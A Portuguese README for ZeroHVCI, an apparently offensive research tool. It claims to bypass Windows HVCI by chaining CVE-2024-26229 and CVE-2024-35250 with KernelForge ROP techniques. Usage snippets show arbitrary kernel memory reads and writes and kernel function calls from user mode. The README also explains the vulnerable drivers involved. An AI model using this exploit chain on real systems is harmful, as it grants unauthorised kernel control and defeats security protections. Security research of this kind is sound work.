ZeroHVCI - Contornando o HVCI sem privilégios de administrador ou driver de kernel

O ZeroHVCI realiza leituras/gravações/chamadas de funções arbitrárias no kernel em ambientes protegidos pela Hypervisor-Protected Code Integrity (HVCI) sem exigir permissões de administrador ou drivers de kernel.

Recursos

• Leituras/gravações completas no kernel sem privilégios: As leituras/gravações no kernel são obtidas por meio da CVE-2024-26229, que não exige elevação de processo.
• Chamada arbitrária de funções: Chama qualquer função arbitrária do kernel com os parâmetros desejados inteiramente a partir do modo usuário.

Primeiros passos

Para começar com o ZeroHVCI, você pode clonar este repositório e compilar o projeto.

Uso

//
// Read kernel memory example:
//
ReadKernelMemory(source_address, buffer_address, size);

//
// Write kernel memory example:
//
WriteKernelMemory(source_address, buffer_address, size);

//
// Kernel function calling example via name:
//
KF::CallKernelFunctionViaName<kernel_param_type1, kernel_param_type2, kernel_param_type3>(
  "kernel_function_name",
  param1,
  param2,
  param3);

//
// ExAllocatePool example:
//
KF::CallKernelFunctionViaName<PVOID, POOL_TYPE, SIZE_T>("ExAllocatePool", PoolType, Size);

//
// memcpy example:
//
KF::CallKernelFunctionViaName<PVOID, PVOID, PVOID, SIZE_T>("memcpy", Dst, Src, Size);

//
// PsLookupProcessByProcessId example:
//
PEPROCESS Process;
KF::CallKernelFunctionViaName<NTSTATUS, HANDLE, PEPROCESS*>("PsLookupProcessByProcessId", ProcessHandle, &Process);

Como funciona

Dois projetos principais são responsáveis por tornar isso possível:

• KernelForge- Todos os créditos a Dmytro Oleksiuk; o projeto dele nos permite obter chamadas de funções do kernel compatíveis com HVCI ao abusar da hierarquia de execuções de threads e da construção de cadeias ROP sem realmente aplicar patch em nada.
• CVE-2024-26229- Todos os créditos a Eric Egsgard; esse exploit nos permite obter leitura/gravação no kernel ao abusar de um IOCTL com METHOD_NEITHER em csc.sys (um módulo do Windows, os recursos serão linkados abaixo se você quiser ler mais.
• CVE-2024-35250- Todos os créditos à equipe Devcore; esse exploit nos permite obter leitura/gravação no kernel ao abusar de RtlClearAllBits em ks.sys (um módulo do Windows, os recursos serão linkados abaixo se você quiser ler mais.

Para que serve?

Demonstra como CVEs publicadas podem ser encadeadas para obter acesso ao kernel em ambientes protegidos por HVCI. Útil para pesquisadores de segurança que estudam a integridade do kernel do Windows e as mitigações de bypass do HVCI.

Agradecimentos

Cr4sh por KernelForge
varwara por sua POC POC2
Eric Egsgard por sua palestra

Aviso legal

Apenas para pesquisa de segurança educacional e autorizada. Não use em sistemas que você não possui ou para os quais não tem permissão explícita para testar. Não sou responsável pelo uso indevido. Use por sua conta e risco.

Todos os nomes de produtos, marcas comerciais e marcas registradas mencionados são propriedade de seus respectivos proprietários.